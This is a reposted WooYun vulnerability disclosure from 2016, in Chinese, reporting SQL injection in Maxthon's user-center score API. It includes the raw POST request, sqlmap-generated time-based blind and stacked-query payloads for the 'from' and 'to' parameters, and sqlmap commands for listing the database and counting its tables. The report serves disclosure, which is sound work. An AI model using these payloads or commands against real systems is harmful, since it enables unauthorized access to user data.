傲游用户中心SQL注入漏洞泄露大量用户信息

admin

141216
文章

117
评论

2017年4月30日09:21:59评论357 views字数 216阅读0分43秒阅读模式

摘要

2016-05-23：细节已通知厂商并且等待厂商处理中
2016-05-23：厂商已查看当前漏洞内容,细节仅向厂商公开
2016-05-28：厂商已经主动忽略漏洞，细节向公众公开

漏洞概要关注数(4) 关注此漏洞

缺陷编号： WooYun-2016-211474

漏洞标题：傲游用户中心SQL注入漏洞泄露大量用户信息

漏洞作者：美食家L

提交时间： 2016-05-23 12:28

公开时间： 2016-05-28 13:30

漏洞类型： SQL注射漏洞

危害等级：中

自评Rank： 10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： sql注入

0人收藏

漏洞详情

披露状态：

简要描述：

周六无聊吃了饭看了看偶然发现·····
没有查询具体数据，老家的小水管受不起····
没有深入测试其他问题

详细说明：

code 区域

POST /api/scorelist HTTP/1.1
 Host: my.maxthon.cn
 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.7.1
 Accept: application/json, text/javascript, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Referer: http://my.maxthon.cn/score.html
 Content-Length: 70
 Cookie: **.***.**.**
 Connection: close
 Pragma: no-cache
 Cache-Control: no-cache
 
 formkey=caa6bb30&from=2013-05-16&to=2016-05-26&type=&page=1

payload

code 区域

sqlmap resumed the following injection point(s) from stored session:
 ---
 Parameter: to (POST)
     Type: stacked queries
     Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
     Payload: formkey=caa6bb30&from=2013-05-16&to=2016-05-26';(SELECT * FROM (SELECT(SLEEP(5)))Atjg)#&type=&page=1
 
     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
     Payload: formkey=caa6bb30&from=2013-05-16&to=2016-05-26' AND (SELECT * FROM (SELECT(SLEEP(5)))gGIX) AND 'CVSc'='CVSc&type=&page=1
 
 Parameter: from (POST)
     Type: stacked queries
     Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
     Payload: formkey=caa6bb30&from=2013-05-16';(SELECT * FROM (SELECT(SLEEP(5)))Qbzm)#&to=2016-05-26&type=&page=1
 
     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
     Payload: formkey=caa6bb30&from=2013-05-16' AND (SELECT * FROM (SELECT(SLEEP(5)))owig) AND 'odrf'='odrf&to=2016-05-26&type=&page=1

sqlmap -r /root/Desktop/1.txt --current-db

current database: 'my_maxthon_cn'

漏洞证明：

sqlmap -r /root/Desktop/1.txt -D my_maxthon_cn --count

修复方案：

过滤···

请多指教~

版权声明：转载请注明来源美食家L@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-05-28 13:30

厂商回复：

漏洞Rank：8 (WooYun评价)

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞概要 关注数(4) 关注此漏洞

缺陷编号： WooYun-2016-211474

漏洞标题： 傲游用户中心SQL注入漏洞泄露大量用户信息

相关厂商： 傲游

漏洞作者： 美食家L